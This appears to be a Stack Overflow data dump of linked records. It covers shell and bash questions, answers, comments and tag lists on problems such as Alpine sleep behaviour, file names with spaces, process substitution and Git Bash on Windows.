http://stackoverflow.com/a/76646341
upvote count: 1
answers question: http://stackoverflow.com/q/76646008
downvote count: 0
score: 1
has body: The scrolling region of an ANSI terminal can be programmed with a simple escape sequence. To update the region outside of the scrolling area, you can save the current cursor position, position the cursor in the protected area, do the output, and then restore the cursor position. However, this feature does not integrate with the scroll back feature found in terminal emulators. It sort of does if you put the protected area at the bottom of the screen, allowing output to scroll out of the top line. The protected area will not stay in place while the user scrolls back, though.
type: Answer

http://stackoverflow.com/q/76687757
has title: Alpine 3.18 Docker image not respecting `sleep` shell command after a background command run with &
answer count: 1
favorite count: 0
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/135203463
has comment: http://stackoverflow.com/comment/135203708
tagged with: docker
type: Question
has comment: http://stackoverflow.com/comment/135203632
tagged with: shell
has answer: http://stackoverflow.com/a/76688297
has comment: http://stackoverflow.com/comment/135203244
tagged with: alpine-linux
score: 3
has comment: http://stackoverflow.com/comment/135203623
accepted answer: http://stackoverflow.com/a/76688297
upvote count: 3
tagged with: sh
has body: I've been using a simple script with a while loop inside it as the entry point to a Docker container to run a command every minute. A sort of simple cronjob so to speak. The while loop looks like this: #!/bin/sh while [ true ] do php script.php & sleep 60 done This has been working fine until I updated the base image to be built off of Alpine 3.18, and it now no longer respects the sleep 60 command and just reruns the php script immediately. You can test this by running the following simple docker locally with versions 3.17 and 3.18 of Alpine respectively: docker run --rm -it alpine:3.17 sh -c "while [ true ]; do echo 1 & sleep 3; done;" Correctly runs and waits 3 seconds in between echoing 1. docker run --rm -it alpine:3.18 sh -c "while [ true ]; do echo 1 & sleep 3; done;" Just starts streaming 1's to the screen without sleeping for 3 seconds. Has something changed in the syntax for a shell script in 3.18 and/or BusyBox? Just as a note, the script has the same issue be it a one liner like the docker run example, or in it's own .sh file formatted like the top example.
downvote count: 0

pymongo
type: Tag
tags question: http://stackoverflow.com/q/76710355
tag name: pymongo

http://stackoverflow.com/q/76591306
score: 1
has title: Update and access /home/user/profile in ksh script
has body: In the sample script, I'm not able to access $HW_NAME without a re-login I hope to access the export variables after sourcing the profile with a script and in the following scripts #!/usr/bin/ksh93 alias=(); alias+=("alias hello='export HW_NAME="HelloWorld";'") printf '%s\n' "${alias[@]}" >> ~/.profile source ~/.profile . ~/.profile echo $HW_NAME
tagged with: ksh
answer count: 0
downvote count: 0
upvote count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/135042266
type: Question
tagged with: shell
type: UnansweredQuestion

http://stackoverflow.com/q/76615358
tagged with: cadence
upvote count: 0
tagged with: bash
has body: I am running the below command in MATLAB. This code is basically launching cadence xcelium simulator in gui mode using the command nclaunch. nclaunch opens the xterm and from there it should launch xcelium simulator but befor that I am getting the error. tclcmds = { 'exec xmvhdl -64bit osc_filter.vhd simple_osc.vhd osc_top.vhd',... 'exec xmelab -64bit -access +wc osc_top',... ['hdlsimmatlab -gui osc_top -64bit ', ... ' -input "{@matlabcp :u_osc_filter -mfunc oscfilter}"',... ' -input "{@force clk_enable {"1"} -after 0ns}"',... ' -input "{@force reset {"0"} -after 0ns {"1"} -after 40ns {"0"} -after 120ns}"',... ' -input "{@force clk {"1"} -after 0ns {"0"} -after 40ns -repeat 80ns}"',... ' -input "{@simvision {set w \[waveform new\]}}"',... ' -input "{@simvision {waveform add -using \$w -signals :clk_enable}}"',... ' -input "{@simvision {waveform add -using \$w -signals :clk}}"',... ' -input "{@simvision {waveform add -using \$w -signals :reset}}"',... ' -input "{@simvision {waveform add -using \$w -signals signed(:osc_out)}}"',... ' -input "{@simvision {waveform add -using \$w -signals signed(:filter8x_out)}}"',... ' -input "{@simvision {waveform format -using \$w signed(:osc_out) -trace analogSampleAndHold}}"',... ' -input "{@simvision {waveform format -using \$w signed(:filter8x_out) -trace analogSampleAndHold}}"',... ' -input "{@simvision {waveform axis range -min -50000 -max 50000 -using \$w signed(:osc_out)}}"',... ' -input "{@simvision {waveform axis range -min -1.5e6 -max 1.5e6 -using \$w signed(:filter8x_out)}}"',... ' -input "{@database -open waves -into waves.shm -default}"',... ' -input "{@probe -create -shm :clk_enable :clk :reset :osc_out :filter8x_out}"',... ' -input "{@run 10000ns}"' ]}; nclaunch('tclstart',tclcmds); After running above command I am getting following error extra characters after close-quote I am not sure about this error.
answer count: 1
favorite count: 0
downvote count: 1
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/135085070
has comment: http://stackoverflow.com/comment/135081747
has title: Extra character after close-quote
tagged with: tcl
type: Question
tagged with: shell
has answer: http://stackoverflow.com/a/76615850
has comment: http://stackoverflow.com/comment/135081678
accepted answer: http://stackoverflow.com/a/76615850
linked to: http://stackoverflow.com/q/3834839
score: -1

nextflow
type: Tag
tags question: http://stackoverflow.com/q/76661943
tag name: nextflow
tags question: http://stackoverflow.com/q/77238873
tags question: http://stackoverflow.com/q/79132551

http://stackoverflow.com/comment/135171074
has text: You mentioned this: _"but the start.php does not trigger (call or run)"_. If this is not an error for you, then it must be standard operation. So why are you considering it a problem then if it's standard operation? And take care when comparing against requests in the browser and on the command-line (exec): Normally those are different PHP SAPIs. Only the command works in one, does not mean it works in the other. Take care.
score: 0
comment on: http://stackoverflow.com/q/76664368
type: QuestionComment
type: Comment

http://stackoverflow.com/a/76603604
score: 1
accepted answer of: http://stackoverflow.com/q/76602223
type: AcceptedAnswer
upvote count: 1
type: Answer
has body: I was taking a screenshot using Spectacle (on KDE, Debian 12) as the file for cURL. However, the file creation probably took some time, and the cURL got executed before the file was created. Adding a sleep 1s to the code after the spectacle command resolved the issue and uploads are now working.
answers question: http://stackoverflow.com/q/76602223
downvote count: 0

http://stackoverflow.com/q/76660309
tagged with: raspberry-pi
downvote count: 2
answer count: 1
tagged with: shell
has answer: http://stackoverflow.com/a/76660434
tagged with: cron
has body: Im trying to have the program Universal G-code sender load on start up but no matter what tutorial I look at it dosent work. When looking at its properties, its a shell script and the pathway for it is: /home/fifex/Desktop/ugsplatform-pi/bin/ugsplatform I have tried using python, and using the on boot procedures but nothing happend.
tagged with: python
score: 0
type: Question
has title: Running a shell application (Universal G-Code sender) on Start-up - Raspberry pi 3
has comment: http://stackoverflow.com/comment/135159916
type: UnansweredQuestion
favorite count: 0
upvote count: 2

http://stackoverflow.com/a/77593809
downvote count: 0
score: 2
type: Answer
has body: The --force-queryable is related to changes introduced in Android 12 (API level 30) and above. Starting from Android 12, Google introduced a security feature called queryable for installed packages. This feature restricts the ability of other apps to query certain information about the installed packages. However, in testing scenarios, it may be necessary for testing frameworks or services to query information about the installed packages. The --force-queryable is a way to override this restriction during the installation of the test orchestrator and test services. By including this flag, you are essentially telling the system to allow queries on the installed packages for testing purposes.
upvote count: 2
answers question: http://stackoverflow.com/q/76631662

http://stackoverflow.com/a/76698259
has comment: http://stackoverflow.com/comment/135249584
downvote count: 0
has comment: http://stackoverflow.com/comment/135226880
has comment: http://stackoverflow.com/comment/135230216
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/76697805
has comment: http://stackoverflow.com/comment/135265425
upvote count: 5
has body: I suspect you're putting a band-aid on a broken leg and your real problem is incorrect handling of file names that contain spaces elsewhere in your script (e.g. incorrect quoting), in which case converting spaces to underscores is not the solution. Without seeing that other part of your code or knowing why you're doing this, though, that's just a guess and we can't help you further with that. Regarding what you specifically asked about - it sounds like you're doing this: file_src=${SRC_DIR}/${file} | tr ' ' '_' when you should be doing this: file_src=$(printf '%s\n' &quot;${SRC_DIR}/${file}&quot; | tr ' ' '_') or preferably: file_src=&quot;${SRC_DIR}/${file}&quot; file_src=&quot;${file_src// /_}&quot; or even better, since SRC_DIR is a hard-coded part of your script and doesn't contain blanks, just: file_src=&quot;${SRC_DIR}/${file// /_}&quot;
accepted answer of: http://stackoverflow.com/q/76697805
type: Answer
score: 5

http://stackoverflow.com/comment/134968054
type: QuestionComment
type: Comment
has text: what about to test it with '--foreground' `timeout --foreground 5s wasmer hello.wasm`
comment on: http://stackoverflow.com/q/76548917
score: 1

macos
tags question: http://stackoverflow.com/q/76544842
tags question: http://stackoverflow.com/q/76606743
tags question: http://stackoverflow.com/q/76620855
tags question: http://stackoverflow.com/q/76697549
type: Tag
tag name: macos
tags question: http://stackoverflow.com/q/76579841
tags question: http://stackoverflow.com/q/76854869
tags question: http://stackoverflow.com/q/76839109
tags question: http://stackoverflow.com/q/76772024
tags question: http://stackoverflow.com/q/77040845
tags question: http://stackoverflow.com/q/76967366
tags question: http://stackoverflow.com/q/77052638
tags question: http://stackoverflow.com/q/77000910
tags question: http://stackoverflow.com/q/77036497
tags question: http://stackoverflow.com/q/76992379
tags question: http://stackoverflow.com/q/77168940
tags question: http://stackoverflow.com/q/77211940
tags question: http://stackoverflow.com/q/77172041
tags question: http://stackoverflow.com/q/77155640
tags question: http://stackoverflow.com/q/77083171
tags question: http://stackoverflow.com/q/77114954
tags question: http://stackoverflow.com/q/77218203
tags question: http://stackoverflow.com/q/77060550
tags question: http://stackoverflow.com/q/77353503
tags question: http://stackoverflow.com/q/77592492
tags question: http://stackoverflow.com/q/77513302
tags question: http://stackoverflow.com/q/77539624
tags question: http://stackoverflow.com/q/77525016
tags question: http://stackoverflow.com/q/77424344
tags question: http://stackoverflow.com/q/77467520
tags question: http://stackoverflow.com/q/77679111
tags question: http://stackoverflow.com/q/77835644
tags question: http://stackoverflow.com/q/77900657
tags question: http://stackoverflow.com/q/78013508
tags question: http://stackoverflow.com/q/78059504
tags question: http://stackoverflow.com/q/78094090
tags question: http://stackoverflow.com/q/78164688
tags question: http://stackoverflow.com/q/78199979
tags question: http://stackoverflow.com/q/78166755
tags question: http://stackoverflow.com/q/78253133
tags question: http://stackoverflow.com/q/78274299
tags question: http://stackoverflow.com/q/78415336
tags question: http://stackoverflow.com/q/78319248
tags question: http://stackoverflow.com/q/78392327
tags question: http://stackoverflow.com/q/78440276
tags question: http://stackoverflow.com/q/78468848
tags question: http://stackoverflow.com/q/78578705
tags question: http://stackoverflow.com/q/78465610
tags question: http://stackoverflow.com/q/78609953
tags question: http://stackoverflow.com/q/78671182
tags question: http://stackoverflow.com/q/78640139
tags question: http://stackoverflow.com/q/78658379
tags question: http://stackoverflow.com/q/78881686
tags question: http://stackoverflow.com/q/78788240
tags question: http://stackoverflow.com/q/78799031
tags question: http://stackoverflow.com/q/78887722
tags question: http://stackoverflow.com/q/78815839
tags question: http://stackoverflow.com/q/78995692
tags question: http://stackoverflow.com/q/78944308
tags question: http://stackoverflow.com/q/78936775
tags question: http://stackoverflow.com/q/78994709
tags question: http://stackoverflow.com/q/79219129
tags question: http://stackoverflow.com/q/79311431
tags question: http://stackoverflow.com/q/79298711
tags question: http://stackoverflow.com/q/79376004
tags question: http://stackoverflow.com/q/79419264
tags question: http://stackoverflow.com/q/79321973
tags question: http://stackoverflow.com/q/79282796
tags question: http://stackoverflow.com/q/79525823
tags question: http://stackoverflow.com/q/79521128
tags question: http://stackoverflow.com/q/79528846

http://stackoverflow.com/q/76620625
has comment: http://stackoverflow.com/comment/135090069
has comment: http://stackoverflow.com/comment/135090377
has comment: http://stackoverflow.com/comment/135098543
has comment: http://stackoverflow.com/comment/135090087
tagged with: shell
answer count: 0
tagged with: linux
has body: this question related to missing-semester for its practice 5 and I try to use the command below merose@DESKTOP-PG6TB9F:~/missing$ find . -atime -1 -exec ls -lt {} \; total 1692 -rw-r--r-- 1 merose merose 290196 Jul 5 20:19 output2.tar.gz -rw-r--r-- 1 merose merose 290196 Jul 4 22:29 output.tar.gz -rw-r--r-- 1 merose merose 836547 Jul 4 22:15 1.html -rw-r--r-- 1 merose merose 276563 Jul 4 22:15 '2 3.html' -rwxr-xr-- 1 merose merose 153 Jul 4 21:55 caller.sh -rw-r--r-- 1 merose merose 227 Jul 4 21:48 out.txt -rwxr-xr-- 1 merose merose 205 Jul 4 18:07 wrgchk.sh -rw-r--r-- 1 merose merose 18 Jul 4 17:19 polo.sh -rw-r--r-- 1 merose merose 26 Jul 4 17:13 marco.sh -rw-r--r-- 1 merose merose 37 Jul 2 22:19 last-modified.txt -rwxr-xr-- 1 merose merose 51 Jul 2 22:09 semester -rw-r--r-- 1 merose merose 6 Jul 2 21:19 hello.txt -rw-r--r-- 1 merose merose 290196 Jul 5 20:19 ./output2.tar.gz -rw-r--r-- 1 merose merose 290196 Jul 4 22:29 ./output.tar.gz -rw-r--r-- 1 merose merose 276563 Jul 4 22:15 './2 3.html' -rw-r--r-- 1 merose merose 836547 Jul 4 22:15 ./1.html -rw-r--r-- 1 merose merose 227 Jul 4 21:48 ./out.txt -rwxr-xr-- 1 merose merose 153 Jul 4 21:55 ./caller.sh as you can see,hello.txt and ./hello.txt should be the same file but they occur in the result at the same time.Why would this happen? And how could I avoid this situation
downvote count: 0
type: UnansweredQuestion
score: 1
has comment: http://stackoverflow.com/comment/135089926
upvote count: 1
favorite count: 0
tagged with: bash
has comment: http://stackoverflow.com/comment/135089729
has title: relative pathname and simple filename happen at the same time using `find` comman
has comment: http://stackoverflow.com/comment/135089794
type: Question

http://stackoverflow.com/comment/135089729
comment on: http://stackoverflow.com/q/76620625
score: 2
type: QuestionComment
type: Comment
has text: Please move your question to superuser.com or explain how this is related to programming

groovy
tags question: http://stackoverflow.com/q/76574168
type: Tag
tag name: groovy
tags question: http://stackoverflow.com/q/76947111
tags question: http://stackoverflow.com/q/76922371
tags question: http://stackoverflow.com/q/77083073
tags question: http://stackoverflow.com/q/77308488
tags question: http://stackoverflow.com/q/78085813
tags question: http://stackoverflow.com/q/78240515
tags question: http://stackoverflow.com/q/78785168
tags question: http://stackoverflow.com/q/79110813
tags question: http://stackoverflow.com/q/79461258

http://stackoverflow.com/comment/135151165
comment on: http://stackoverflow.com/q/76656022
score: 1
has text: Also, it looks like you're passing it over `ssh`, so it's also important to understand what's going to happen on the other side of the `ssh` connection: what shell will it be parsed by, and how's it used as part of the remote command. Finally, exactly what control do you have over each of these steps? Can you change how it's passed to the script, what's on the remote side of the `ssh` connection, etc?
type: QuestionComment
type: Comment

http://stackoverflow.com/q/76697805
has comment: http://stackoverflow.com/comment/135226815
has title: Source file is not able to convert from space to '_' character in shell script
type: Question
tagged with: shell
accepted answer: http://stackoverflow.com/a/76698259
has body: In shell script, many files are coming as source and landing to specific directory but few files come as with space character which script got failed. #!/bin/bash SRC_DIR=/home/user123/data/src while true do .............. file_proc() { file=$1 export JOB_SEQ=$2 ...... file_src=${SRC_DIR}/${file} ............ } done In source file path, in UNIX terminal- user123@hostname src]$ pwd user123@hostname src]$ /home/user123/data/src user123@hostname src]$ ls -lrt Jul 16 12:00 Test_data_123.csv Jul 16 12:00 Test data_234.csv Jul 16 12:01 Test_data_345.csv Jul 16 12:01 Test_data 456.csv ......................... I used tr ' ' '_' &amp; sed 's/ /_/g' (means file_src=${SRC_DIR}/${file} | tr ' ' '_') but it is not able to convert space in file name with _ character using the shell script. I just want using shell script space in file name will convert into _ and then after go for process without shell script failure.
has comment: http://stackoverflow.com/comment/135220407
upvote count: 1
has answer: http://stackoverflow.com/a/76698259
downvote count: 0
tagged with: bash
score: 1
answer count: 1
favorite count: 0
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/135220987
tagged with: unix
has comment: http://stackoverflow.com/comment/135220968

http://stackoverflow.com/comment/135157180
comment on: http://stackoverflow.com/q/76659118
has text: To test a full outer join you should include in your example lines in `db.txt` that don't have a match in `app.txt`. You're getting answers that would not do a full outer join as they would discard such lines but they will produce the expected output given your current example.
type: QuestionComment
score: 1
type: Comment

http://stackoverflow.com/q/76664368
has comment: http://stackoverflow.com/comment/135170775
has comment: http://stackoverflow.com/comment/135170854
type: Question
has comment: http://stackoverflow.com/comment/135171184
tagged with: shell
answer count: 0
downvote count: 0
has comment: http://stackoverflow.com/comment/135170953
has body: I have 2 php scripts that start.php runs s_supervisor.php in background so that browser becomes free and not waiting for s_supervisor.php loops be done. It was working awsome in "windows 10 XAMPP" but after afew months I ran the same codes again but the start.php does not trigger (call or run) the s_supervisor.php despite I didn't even touh any character of codes! Whats the probable problem? the codes that I have are below. <?php # start.php if(isset($_POST['start_supervisor'])) { $myfile = fopen("spvc.ini", "w"); fclose($myfile); exec("php -f s_supervisor.php >/dev/null 2>&1 &"); } ?> <?php # s_supervisor.php while(file_exists("spvc.ini")) { if (file_exists("/error.log")) { array_map( 'unlink', array_filter((array) glob("output_dir/*") ) ); } } ?>
type: UnansweredQuestion
tagged with: xampp
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/135177228
has comment: http://stackoverflow.com/comment/135165086
has comment: http://stackoverflow.com/comment/135165883
has comment: http://stackoverflow.com/comment/135164961
has comment: http://stackoverflow.com/comment/135172276
has comment: http://stackoverflow.com/comment/135163880
linked to: http://stackoverflow.com/q/4410704
has comment: http://stackoverflow.com/comment/135171376
has comment: http://stackoverflow.com/comment/135165837
has comment: http://stackoverflow.com/comment/135170818
favorite count: 0
tagged with: php
has comment: http://stackoverflow.com/comment/135171014
has title: exec("php -f script.php") does not work anymore
has comment: http://stackoverflow.com/comment/135163727
has comment: http://stackoverflow.com/comment/135172143
has comment: http://stackoverflow.com/comment/135171074

http://stackoverflow.com/comment/134963166
has text: please update the question with a sample set of lines from the file (eg, `head -4 filename`), the (wrong) output generated by your code and the (correct) expected output
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76546217

http://stackoverflow.com/comment/135071929
type: Comment
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/76585150
has text: `${sample_num::-1}` means `sample_num` without the last character. Is this really what you want to have?

http://stackoverflow.com/q/76707495
score: 0
tagged with: packer
has body: manifest.json will have below content { "builds": [ { "name": "golden-image", "builder_type": "amazon-ebs", "build_time": 1689613460, "files": null, "artifact_id": "us-east-1:ami-1234567890abc,us-west-2:ami-0987654321abc”, "packer_run_uuid": “test-uuid”, "custom_data": null } ] } I can fetch the value of artifact_id by running below command : export AMI_ID=$(cat manifest.json| jq -r '.builds[0].artifact_id') AMI_ID will have the value in string "us-east-1:ami-1234567890abc,us-west-2:ami-0987654321abc” Now, I wanted to get the value of only us-east-1 using shell, please suggest
answer count: 1
type: Question
tagged with: shell
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/76709594
has title: fetch value from a string quoted json in shell script

http://stackoverflow.com/q/76566816
has comment: http://stackoverflow.com/comment/134998004
has title: diff on 2 files in different directories
has answer: http://stackoverflow.com/a/76566974
upvote count: 1
has comment: http://stackoverflow.com/comment/134998126
has comment: http://stackoverflow.com/comment/138368551
tagged with: shell
type: UnansweredQuestion
downvote count: 0
score: 1
has body: I am trying to apply the diff command on two files on different dirs, like this: diff file1 directory/file2 and it treats the second as if the relative path to it is the name of the file itself. is there a way to make it find the actual file? On top of what I tried adding the -a and --text flags, but my IDE (im using vscode powershell extension) doesn't recognize those.
favorite count: 0
tagged with: diff
answer count: 2
has answer: http://stackoverflow.com/a/76567280
type: Question
tagged with: powershell

http://stackoverflow.com/comment/135051821
comment on: http://stackoverflow.com/q/76597912
score: 1
type: QuestionComment
has text: @ufopilot D'oh! You're right of course; unfortunately, I can't go back and edit it.
type: Comment

http://stackoverflow.com/comment/135018101
type: Comment
comment on: http://stackoverflow.com/q/76578209
has text: Are you saying if you restart 10 times you want to have 11 copies of this java process running?
score: 0
type: QuestionComment

http://stackoverflow.com/comment/134988904
type: AnswerComment
comment on: http://stackoverflow.com/a/76561518
has text: You need to double check the command path of kill and restart is correct. Also you need to check the time taken for process stop and start. If it will take more time then you need to adjust sleep duration based on processor time.
score: 0
type: Comment

http://stackoverflow.com/comment/135115916
type: QuestionComment
type: Comment
score: 0
has text: Please separate your input, output and code into 3 Code Blocks instead of cramming it all into 1 where we need a scroll bar to see them and can't see them all at one time.
comment on: http://stackoverflow.com/q/76633671

http://stackoverflow.com/q/76675675
downvote count: 0
type: UnansweredQuestion
score: 1
upvote count: 1
answer count: 2
has answer: http://stackoverflow.com/a/76675713
has title: How to write excluding specific strings in shell script
favorite count: 0
tagged with: regex
has body: I would like to use shell script to remove the entire tag if it contains a specific string inside the After deletion I got it done with the following command. sed -i 's/<script[^>]*>[^<]*XXX[^<]*<\/script>//g' test.txt But it doesn't work if XXX contains "<" before and after. undeliteable Can someone please tell me how to remove the middle tag in the above case. Thanks for your cooperation.
type: Question
tagged with: shell
has answer: http://stackoverflow.com/a/76675796

http://stackoverflow.com/comment/134987277
type: QuestionComment
type: Comment
score: 1
has text: ...mind, _in general_, shell languages are not well-suited to running arbitrary SQL queries with untrusted values. Once upon a time, about 20 years ago, I wrote a command-line SQL client with proper bind variable support that wrote NUL-delimited output, accepted key/value pairs as separate argv values on input, &c; but it was property of a former employer that never released it (and is now long since out of business).
comment on: http://stackoverflow.com/q/76560632

http://stackoverflow.com/q/76631657
has comment: http://stackoverflow.com/comment/135108403
has comment: http://stackoverflow.com/comment/135108888
has body: I'm trying to add a switch to a script which will make a parameter on an internal command optional. Normally, I'd do this by either using a conditional to run the command with the parameter or without it, or if the parameter is simple, just create a string with the parameter in and substitute that. If the parameter is not needed then the string is just empty. I have the added complexity that there's a dry run mode which just prints the command rather than running it so there's already one conditional. For this reason, I just wanted to create the internal parameter as a string and then substitute it either in the echo of the dry run, or the real command. However, the option is a little complex and looks like this: <(echo $msg_enc | base64 -d -) This takes a string encoded in base64, decodes it and presents the contents as a temporary file which can be read. I can't really change this structure easily, so I'm trying to work out how I can keep this in a string and evaluate it. To do this I created a shell script, call_just_print.sh and another tiny shell script to mimic the command, just_print.sh call_just_print.sh msg="hello world" msg_enc="$(echo $msg | base64)" dry_run=0 if [[ "${1}" == "dry-run" ]]; then dry_run=1 fi enc_cmd=" <(echo \$msg_enc | base64 -d -)" if [[ "${dry_run}" == "1" ]]; then echo "./just_print.sh ${enc_cmd}" else ./just_print.sh "${enc_cmd}" fi This really just picks up a dry run hint from the command line and, if set, simply prints the command it's going to run, or if not set, will run the command. just_print.sh echo "[$(cat ${1})]" This trivially receives a parameter which it assumes to be a file and displays it to the terminal. Ideally, the output would print [hello world] when run without dry-run mode. When I run it, I get the following: $ ./call_just_print.sh dry-run ./just_print.sh <(echo $msg_enc | base64 -d -) $ ./call_just_print.sh cat: invalid option -- 'd' Try 'cat --help' for more information. [] The dry-run mode works fine but when u…
has answer: http://stackoverflow.com/a/76632004
accepted answer: http://stackoverflow.com/a/76631696
score: 0
type: Question
has comment: http://stackoverflow.com/comment/135109896
tagged with: shell
has title: Bash process substitution in string
possible better answer: http://stackoverflow.com/a/76632004
tagged with: substitution
answer count: 2
tagged with: bash
tagged with: process
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/76631696

http://stackoverflow.com/q/76561501
score: -1
has comment: http://stackoverflow.com/comment/134993205
accepted answer: http://stackoverflow.com/a/76561518
has comment: http://stackoverflow.com/comment/134990331
type: Question
has comment: http://stackoverflow.com/comment/134989718
downvote count: 1
has comment: http://stackoverflow.com/comment/134990504
has comment: http://stackoverflow.com/comment/134993075
has body: I have this script that monitors another script if it crashes it automatically starts it. while { myscript;}; do echo "'myscript' crashed. Restarting..." >&2 sleep 1 done But sometimes the script will hang even though the script is not working it will still run but myscript prints something when this happens. It prints "script dead" so when it prints this I want to kill the script and restarts. How Can I do this, please.
has title: Script monitoring
upvote count: 0
tagged with: shell
has comment: http://stackoverflow.com/comment/134993277
answer count: 1
favorite count: 0
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/76561518

http://stackoverflow.com/comment/135132437
type: QuestionComment
comment on: http://stackoverflow.com/q/76644366
type: Comment
has text: @MikhailKrasikov The other suggestion would be not to worry about it. The minus signs are incorrect input. The only issue is that you don't have a perfectly consistent diagonstic for an incorrect input case. This is something that can be "documented away". The program does its best to diagnose the non-existence of the unary minus, except when command line option processing sees it first. It matters most to new users who are experimenting rather than reading documentation. Users who know that there is no minus don't benefit from perfect diagnosis any more.
score: 1

http://stackoverflow.com/a/76676077
has body: if you just wanna extract fields out of dig's response, here's a quick way to split it out. The formatting is trivial from here on : dig +noall +answer www.google.com | gtee &gt;( gcat -n &gt;&amp;2; ) | 1 www.google.com. 112 IN A 142.250.80.36 mawk NF=NF FS='[.][^ \t]+[ \t]+|[ \t].+[ \t]' OFS='\f' www 112 142.250.80.36
answers question: http://stackoverflow.com/q/76669265
score: 0
type: Answer

http://stackoverflow.com/q/76692290
tagged with: linux
downvote count: 0
tagged with: git
score: 1
has title: What is the difference between 'git-bash.exe', 'bin\bash.exe', and 'usr\bin\bash.exe' on Windows?
favorite count: 0
has comment: http://stackoverflow.com/comment/135211077
has comment: http://stackoverflow.com/comment/135211091
tagged with: bash
tagged with: windows
type: Question
has body: I am creating a context menu handler to open Bash via right click. My command works with all git bash.exe files: C:\Program Files\Git\git-bash.exe C:\Program Files\Git\bin\bash.exe C:\Program Files\Git\usr\bin\bash.exe Each opens a bash shell and seems fine. One difference I noticed is that git-bash.exe looks a little different. The color settings are tweaked. When I first installed git I changed the color palette, but it didn't seem to carry over to the other bash executables. I think this is because it's running mintty / or as one user explained, git-bash.exe is actually a windows app. There is a question already on this site that supplies a little more information: Git for Windows: Difference between Git\bin\bash.exe and Git\usr\bin\bash.exe %programfiles%\git\bin\bash.exe -> %programfiles%\git\usr\bin\bash.exe + some automatically injected arguments = inline [ main stdin/stdout ] bash shell provided by git layered on top of windows cmd.exe command prompt environment %programfiles%\git\git-bash.exe = windows app [ winmain ] bash shell provided by git layered on top of windows cmd.exe command prompt environment This sheds a bit more light on the topic, but I'm still a little confused by this reply. Is he saying that %programfiles%\git\bin\bash.exe is the same thing as %programfiles%\git\usr\bin\bash.exe? Do both of these binaries have these "automatically injected arguments"? What are the arguments he's talking about? And ultimately, the million dollar question: What exact binary of git bash should I be calling for general use?
answer count: 0
has comment: http://stackoverflow.com/comment/135211139
type: UnansweredQuestion
upvote count: 1
linked to: http://stackoverflow.com/q/51729777
has comment: http://stackoverflow.com/comment/135228412
tagged with: shell

shell
tags question: http://stackoverflow.com/q/76692290
tags question: http://stackoverflow.com/q/76544889
tags question: http://stackoverflow.com/q/76678493
tags question: http://stackoverflow.com/q/76656017
tags question: http://stackoverflow.com/q/76650830
tags question: http://stackoverflow.com/q/76602700
tags question: http://stackoverflow.com/q/76579841
tags question: http://stackoverflow.com/q/76577218
tags question: http://stackoverflow.com/q/76703900
tags question: http://stackoverflow.com/q/76699173
tags question: http://stackoverflow.com/q/76593228
tags question: http://stackoverflow.com/q/76661943
tags question: http://stackoverflow.com/q/76664368
tags question: http://stackoverflow.com/q/76707495
tags question: http://stackoverflow.com/q/76702391
tags question: http://stackoverflow.com/q/76591531
tags question: http://stackoverflow.com/q/76616176
tags question: http://stackoverflow.com/q/76622495
tags question: http://stackoverflow.com/q/76659118
tags question: http://stackoverflow.com/q/76649342
tags question: http://stackoverflow.com/q/76686394
tags question: http://stackoverflow.com/q/76676053
tags question: http://stackoverflow.com/q/76683610
tags question: http://stackoverflow.com/q/76678549
tags question: http://stackoverflow.com/q/76668316
tags question: http://stackoverflow.com/q/76669307
tags question: http://stackoverflow.com/q/76576781
tags question: http://stackoverflow.com/q/76622698
tags question: http://stackoverflow.com/q/76546217
tags question: http://stackoverflow.com/q/76692218
tags question: http://stackoverflow.com/q/76550372
tags question: http://stackoverflow.com/q/76601045
tags question: http://stackoverflow.com/q/76703360
tags question: http://stackoverflow.com/q/76690391
tags question: http://stackoverflow.com/q/76544842
tags question: http://stackoverflow.com/q/76591635
tags question: http://stackoverflow.com/q/76633771
tags question: http://stackoverflow.com/q/76689787
tags question: http://stackoverflow.com/q/76570156
tags question: http://stackoverflow.com/q/76575510
tags question: http://stackoverflow.com/q/76602471
tags question: http://stackoverflow.com/q/76549287
tags question: http://stackoverflow.com/q/76617416
tags question: http://stackoverflow.com/q/76660309
tags question: http://stackoverflow.com/q/76613778
tags question: http://stackoverflow.com/q/76562116
tags question: http://stackoverflow.com/q/76615358
tags question: http://stackoverflow.com/q/76566011
tags question: http://stackoverflow.com/q/76575777
tags question: http://stackoverflow.com/q/76606220
tags question: http://stackoverflow.com/q/76669088
tags question: http://stackoverflow.com/q/76622373
tags question: http://stackoverflow.com/q/76656871
tags question: http://stackoverflow.com/q/76648067
tags question: http://stackoverflow.com/q/76664928
tags question: http://stackoverflow.com/q/76609158
tags question: http://stackoverflow.com/q/76579691
tags question: http://stackoverflow.com/q/76659086
tags question: http://stackoverflow.com/q/76624018
tags question: http://stackoverflow.com/q/76553763
tags question: http://stackoverflow.com/q/76606743
tags question: http://stackoverflow.com/q/76631087
tags question: http://stackoverflow.com/q/76558797
tags question: http://stackoverflow.com/q/76657138
tags question: http://stackoverflow.com/q/76607874
tags question: http://stackoverflow.com/q/76643341
tags question: http://stackoverflow.com/q/76638009
tags question: http://stackoverflow.com/q/76698598
tags question: http://stackoverflow.com/q/76578209
tags question: http://stackoverflow.com/q/76560288
tags question: http://stackoverflow.com/q/76679712
tags question: http://stackoverflow.com/q/76694527
tags question: http://stackoverflow.com/q/76602223
tags question: http://stackoverflow.com/q/76593397
tags question: http://stackoverflow.com/q/76681562
tags question: http://stackoverflow.com/q/76697224
tags question: http://stackoverflow.com/q/76599721
tags question: http://stackoverflow.com/q/76552603
tags question: http://stackoverflow.com/q/76600353
tags question: http://stackoverflow.com/q/76588578

http://stackoverflow.com/a/76549806
has comment: http://stackoverflow.com/comment/134979055
downvote count: 0
score: 1
upvote count: 1
type: Answer
has comment: http://stackoverflow.com/comment/134969658
